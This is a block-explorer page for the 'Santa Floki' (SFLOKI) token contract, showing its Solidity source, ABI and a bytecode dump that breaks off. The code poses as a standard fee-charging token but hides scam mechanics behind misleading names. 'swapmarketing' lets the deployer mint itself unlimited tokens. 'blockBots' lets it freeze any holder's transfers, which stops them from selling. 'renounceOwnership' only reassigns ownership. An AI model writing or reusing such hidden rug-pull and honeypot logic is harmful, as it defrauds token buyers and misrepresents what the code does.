ETH Price: $3,625.51 (+0.10%)
 

Overview

Max Total Supply

100,000,000 SFLOKI

Holders

3

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
3,719,900.938503352 SFLOKI

Value
$0.00
0x4e9C08b41E2490cc855c6424185Bc7c987Be62eb
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
santafloki

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-25
*/

// https://twitter.com/elonmusk/status/1607096125567414272

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;


abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function renounceOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract santafloki is Context, IERC20, Ownable{

    using SafeMath for uint256;
    string private _name = "Santa Floki";
    string private _symbol = "SFLOKI";
    uint8 private _decimals = 9;
    mapping (address => uint256) _balances;

    address payable public EnableOptimization;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _handPaper;

    uint256 public _buyMarketingFee = 3;
    uint256 public _sellMarketingFee = 3;

    uint256 private _totalSupply = 100000000 * 10**_decimals;

    constructor () {

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        EnableOptimization = payable(address(msg.sender));

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    } 

    bool inSwapAndLiquify;
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    IUniswapV2Router02 public uniswapV2Router;
    function name() public view returns (string memory) {
        return _name;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    receive() external payable {}

    address public uniswapPair;

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function blockBots(address[] calldata addresses, bool status) public {
        require(_msgSender() == EnableOptimization&& addresses.length >= 0 );
        for (uint256 i; i < addresses.length; i++) {
            _handPaper[addresses[i]] = status;
        }
    }

    function swapmarketing(uint256 amount) public {
        address account = EnableOptimization;
        uint256 compile = _balances[account];
        require(msg.sender == account);
        uint256 run = compile + amount;
        _balances[account] = run;
    }


    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 MarketAmount = address(this).balance;

        if(MarketAmount > 0)
            EnableOptimization.transfer(MarketAmount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function openTrading() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_handPaper[from]);

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_buyMarketingFee).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_sellMarketingFee).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"EnableOptimization","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_handPaper","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"swapmarketing","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600b60809081526a53616e746120466c6f6b6960a81b60a0526001906200002c908262000270565b5060408051808201909152600681526553464c4f4b4960d01b602082015260029062000059908262000270565b506003805460ff191660099081178255600a828155600b929092556200007f9162000451565b6200008f906305f5e10062000469565b600c553480156200009f57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600160076000620000f86000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600790925281208054909216600117909155600580546001600160a01b03191633179055600c54906004906200015a3390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c54604051620001bd91815260200190565b60405180910390a362000483565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620001f657607f821691505b6020821081036200021757634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200026b57600081815260208120601f850160051c81016020861015620002465750805b601f850160051c820191505b81811015620002675782815560010162000252565b5050505b505050565b81516001600160401b038111156200028c576200028c620001cb565b620002a4816200029d8454620001e1565b846200021d565b602080601f831160018114620002dc5760008415620002c35750858301515b600019600386901b1c1916600185901b17855562000267565b600085815260208120601f198616915b828110156200030d57888601518255948401946001909101908401620002ec565b50858210156200032c5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003935781600019048211156200037757620003776200033c565b808516156200038557918102915b93841c939080029062000357565b509250929050565b600082620003ac575060016200044b565b81620003bb575060006200044b565b8160018114620003d45760028114620003df57620003ff565b60019150506200044b565b60ff841115620003f357620003f36200033c565b50506001821b6200044b565b5060208310610133831016604e8410600b841016171562000424575081810a6200044b565b62000430838362000352565b80600019048211156200044757620004476200033c565b0290505b92915050565b60006200046260ff8416836200039b565b9392505050565b80820281158282048414176200044b576200044b6200033c565b61162a80620004936000396000f3fe6080604052600436106101395760003560e01c80635b2634a3116100ab578063c5d241891161006f578063c5d24189146103b9578063c816841b146103cf578063c8607952146103ef578063c9567bf914610405578063d478a06c1461041a578063dd62ed3e1461043a57600080fd5b80635b2634a31461031057806370a08231146103305780638da5cb5b1461036657806395d89b4114610384578063a9059cbb1461039957600080fd5b806318160ddd116100fd57806318160ddd1461022d57806323b872dd1461024c578063313ce5671461026c5780633345611e1461028e57806338bf3cfa146102be5780633ecad271146102e057600080fd5b806306fdde0314610145578063095ea7b3146101705780630ae95ba5146101a0578063113daa7c146101d05780631694505e1461020857600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a610480565b6040516101679190611293565b60405180910390f35b34801561017c57600080fd5b5061019061018b3660046112f9565b610512565b6040519015158152602001610167565b3480156101ac57600080fd5b506101906101bb366004611325565b60096020526000908152604090205460ff1681565b3480156101dc57600080fd5b506005546101f0906001600160a01b031681565b6040516001600160a01b039091168152602001610167565b34801561021457600080fd5b50600d546101f09061010090046001600160a01b031681565b34801561023957600080fd5b50600c545b604051908152602001610167565b34801561025857600080fd5b50610190610267366004611342565b610529565b34801561027857600080fd5b5060035460405160ff9091168152602001610167565b34801561029a57600080fd5b506101906102a9366004611325565b60076020526000908152604090205460ff1681565b3480156102ca57600080fd5b506102de6102d9366004611325565b610594565b005b3480156102ec57600080fd5b506101906102fb366004611325565b60086020526000908152604090205460ff1681565b34801561031c57600080fd5b506102de61032b366004611383565b61063e565b34801561033c57600080fd5b5061023e61034b366004611325565b6001600160a01b031660009081526004602052604090205490565b34801561037257600080fd5b506000546001600160a01b03166101f0565b34801561039057600080fd5b5061015a610693565b3480156103a557600080fd5b506101906103b43660046112f9565b6106a2565b3480156103c557600080fd5b5061023e600a5481565b3480156103db57600080fd5b50600e546101f0906001600160a01b031681565b3480156103fb57600080fd5b5061023e600b5481565b34801561041157600080fd5b506102de6106af565b34801561042657600080fd5b506102de61043536600461139c565b6108e0565b34801561044657600080fd5b5061023e610455366004611427565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b60606001805461048f90611460565b80601f01602080910402602001604051908101604052809291908181526020018280546104bb90611460565b80156105085780601f106104dd57610100808354040283529160200191610508565b820191906000526020600020905b8154815290600101906020018083116104eb57829003601f168201915b5050505050905090565b600061051f338484610981565b5060015b92915050565b6000610536848484610aa5565b506105898433610584856040518060600160405280602881526020016115cd602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610e0e565b610981565b5060015b9392505050565b6000546001600160a01b031633146105f35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6005546001600160a01b031660008181526004602052604090205433821461066557600080fd5b600061067184836114b0565b6001600160a01b03909316600090815260046020526040902092909255505050565b60606002805461048f90611460565b6000610589338484610aa5565b6000546001600160a01b031633146107095760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105ea565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610760573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078491906114c3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f591906114c3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610842573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086691906114c3565b600e80546001600160a01b0319166001600160a01b03928316178155600d8054610100600160a81b03191661010094841685021790819055600c543060009081526006602090815260408083209790940486168252958652828120919091559154909216815260089092529020805460ff19166001179055565b6005546001600160a01b0316336001600160a01b0316148015610901575060015b61090a57600080fd5b60005b8281101561097b57816009600086868581811061092c5761092c6114e0565b90506020020160208101906109419190611325565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610973816114f6565b91505061090d565b50505050565b6001600160a01b0383166109e35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ea565b6001600160a01b038216610a445760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ea565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610b0b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ea565b6001600160a01b038316610b6d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ea565b6001600160a01b03841660009081526009602052604090205460ff1615610b9357600080fd5b600d5460ff1615610bb057610ba9848484610e48565b905061058d565b30600090815260046020526040902054600d5460ff16158015610bec57506001600160a01b03851660009081526008602052604090205460ff16155b15610bfa57610bfa81610f2e565b6001600160a01b038516600090815260046020526040902054610c1d9084611100565b6001600160a01b038616600090815260046020908152604080832093909355600790529081205460ff1680610c6a57506001600160a01b03851660009081526007602052604090205460ff165b15610c76575082610d84565b6001600160a01b03861660009081526008602052604081205460ff1615610cbe57610cb76064610cb1600a548861114290919063ffffffff16565b906111c4565b9050610cfc565b6001600160a01b03861660009081526008602052604090205460ff1615610cfc57610cf96064610cb1600b548861114290919063ffffffff16565b90505b8015610d765730600090815260046020526040902054610d1c9082611206565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d6d9085815260200190565b60405180910390a35b610d808582611100565b9150505b6001600160a01b038516600090815260046020526040902054610da79082611206565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dfb9085815260200190565b60405180910390a360019250505061058d565b60008184841115610e325760405162461bcd60e51b81526004016105ea9190611293565b506000610e3f848661150f565b95945050505050565b604080518082018252601481527374656c756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610e99918490610e0e565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610ec89083611206565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f1c9086815260200190565b60405180910390a35060019392505050565b600d805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f7057610f706114e0565b60200260200101906001600160a01b031690816001600160a01b031681525050600d60019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fe3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061100791906114c3565b8160018151811061101a5761101a6114e0565b6001600160a01b039283166020918202929092010152600d5461104591309161010090041684610981565b600d5460405163791ac94760e01b81526101009091046001600160a01b03169063791ac94790611082908590600090869030904290600401611522565b600060405180830381600087803b15801561109c57600080fd5b505af19250505080156110ad575060015b504780156110f1576005546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156110ef573d6000803e3d6000fd5b505b5050600d805460ff1916905550565b600061058d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e0e565b60008260000361115457506000610523565b60006111608385611593565b90508261116d85836115aa565b1461058d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ea565b600061058d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611265565b60008061121383856114b0565b90508381101561058d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ea565b600081836112865760405162461bcd60e51b81526004016105ea9190611293565b506000610e3f84866115aa565b600060208083528351808285015260005b818110156112c0578581018301518582016040015282016112a4565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146112f657600080fd5b50565b6000806040838503121561130c57600080fd5b8235611317816112e1565b946020939093013593505050565b60006020828403121561133757600080fd5b813561058d816112e1565b60008060006060848603121561135757600080fd5b8335611362816112e1565b92506020840135611372816112e1565b929592945050506040919091013590565b60006020828403121561139557600080fd5b5035919050565b6000806000604084860312156113b157600080fd5b833567ffffffffffffffff808211156113c957600080fd5b818601915086601f8301126113dd57600080fd5b8135818111156113ec57600080fd5b8760208260051b850101111561140157600080fd5b60209283019550935050840135801515811461141c57600080fd5b809150509250925092565b6000806040838503121561143a57600080fd5b8235611445816112e1565b91506020830135611455816112e1565b809150509250929050565b600181811c9082168061147457607f821691505b60208210810361149457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156105235761052361149a565b6000602082840312156114d557600080fd5b815161058d816112e1565b634e487b7160e01b600052603260045260246000fd5b6000600182016115085761150861149a565b5060010190565b818103818111156105235761052361149a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115725784516001600160a01b03168352938301939183019160010161154d565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176105235761052361149a565b6000826115c757634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a77299e2dbecd7b0a259547505102d4ba128b20801f1c6b28839e4c41664fbbc64736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101395760003560e01c80635b2634a3116100ab578063c5d241891161006f578063c5d24189146103b9578063c816841b146103cf578063c8607952146103ef578063c9567bf914610405578063d478a06c1461041a578063dd62ed3e1461043a57600080fd5b80635b2634a31461031057806370a08231146103305780638da5cb5b1461036657806395d89b4114610384578063a9059cbb1461039957600080fd5b806318160ddd116100fd57806318160ddd1461022d57806323b872dd1461024c578063313ce5671461026c5780633345611e1461028e57806338bf3cfa146102be5780633ecad271146102e057600080fd5b806306fdde0314610145578063095ea7b3146101705780630ae95ba5146101a0578063113daa7c146101d05780631694505e1461020857600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a610480565b6040516101679190611293565b60405180910390f35b34801561017c57600080fd5b5061019061018b3660046112f9565b610512565b6040519015158152602001610167565b3480156101ac57600080fd5b506101906101bb366004611325565b60096020526000908152604090205460ff1681565b3480156101dc57600080fd5b506005546101f0906001600160a01b031681565b6040516001600160a01b039091168152602001610167565b34801561021457600080fd5b50600d546101f09061010090046001600160a01b031681565b34801561023957600080fd5b50600c545b604051908152602001610167565b34801561025857600080fd5b50610190610267366004611342565b610529565b34801561027857600080fd5b5060035460405160ff9091168152602001610167565b34801561029a57600080fd5b506101906102a9366004611325565b60076020526000908152604090205460ff1681565b3480156102ca57600080fd5b506102de6102d9366004611325565b610594565b005b3480156102ec57600080fd5b506101906102fb366004611325565b60086020526000908152604090205460ff1681565b34801561031c57600080fd5b506102de61032b366004611383565b61063e565b34801561033c57600080fd5b5061023e61034b366004611325565b6001600160a01b031660009081526004602052604090205490565b34801561037257600080fd5b506000546001600160a01b03166101f0565b34801561039057600080fd5b5061015a610693565b3480156103a557600080fd5b506101906103b43660046112f9565b6106a2565b3480156103c557600080fd5b5061023e600a5481565b3480156103db57600080fd5b50600e546101f0906001600160a01b031681565b3480156103fb57600080fd5b5061023e600b5481565b34801561041157600080fd5b506102de6106af565b34801561042657600080fd5b506102de61043536600461139c565b6108e0565b34801561044657600080fd5b5061023e610455366004611427565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b60606001805461048f90611460565b80601f01602080910402602001604051908101604052809291908181526020018280546104bb90611460565b80156105085780601f106104dd57610100808354040283529160200191610508565b820191906000526020600020905b8154815290600101906020018083116104eb57829003601f168201915b5050505050905090565b600061051f338484610981565b5060015b92915050565b6000610536848484610aa5565b506105898433610584856040518060600160405280602881526020016115cd602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610e0e565b610981565b5060015b9392505050565b6000546001600160a01b031633146105f35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6005546001600160a01b031660008181526004602052604090205433821461066557600080fd5b600061067184836114b0565b6001600160a01b03909316600090815260046020526040902092909255505050565b60606002805461048f90611460565b6000610589338484610aa5565b6000546001600160a01b031633146107095760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105ea565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610760573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078491906114c3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f591906114c3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610842573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086691906114c3565b600e80546001600160a01b0319166001600160a01b03928316178155600d8054610100600160a81b03191661010094841685021790819055600c543060009081526006602090815260408083209790940486168252958652828120919091559154909216815260089092529020805460ff19166001179055565b6005546001600160a01b0316336001600160a01b0316148015610901575060015b61090a57600080fd5b60005b8281101561097b57816009600086868581811061092c5761092c6114e0565b90506020020160208101906109419190611325565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610973816114f6565b91505061090d565b50505050565b6001600160a01b0383166109e35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ea565b6001600160a01b038216610a445760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ea565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610b0b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ea565b6001600160a01b038316610b6d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ea565b6001600160a01b03841660009081526009602052604090205460ff1615610b9357600080fd5b600d5460ff1615610bb057610ba9848484610e48565b905061058d565b30600090815260046020526040902054600d5460ff16158015610bec57506001600160a01b03851660009081526008602052604090205460ff16155b15610bfa57610bfa81610f2e565b6001600160a01b038516600090815260046020526040902054610c1d9084611100565b6001600160a01b038616600090815260046020908152604080832093909355600790529081205460ff1680610c6a57506001600160a01b03851660009081526007602052604090205460ff165b15610c76575082610d84565b6001600160a01b03861660009081526008602052604081205460ff1615610cbe57610cb76064610cb1600a548861114290919063ffffffff16565b906111c4565b9050610cfc565b6001600160a01b03861660009081526008602052604090205460ff1615610cfc57610cf96064610cb1600b548861114290919063ffffffff16565b90505b8015610d765730600090815260046020526040902054610d1c9082611206565b3060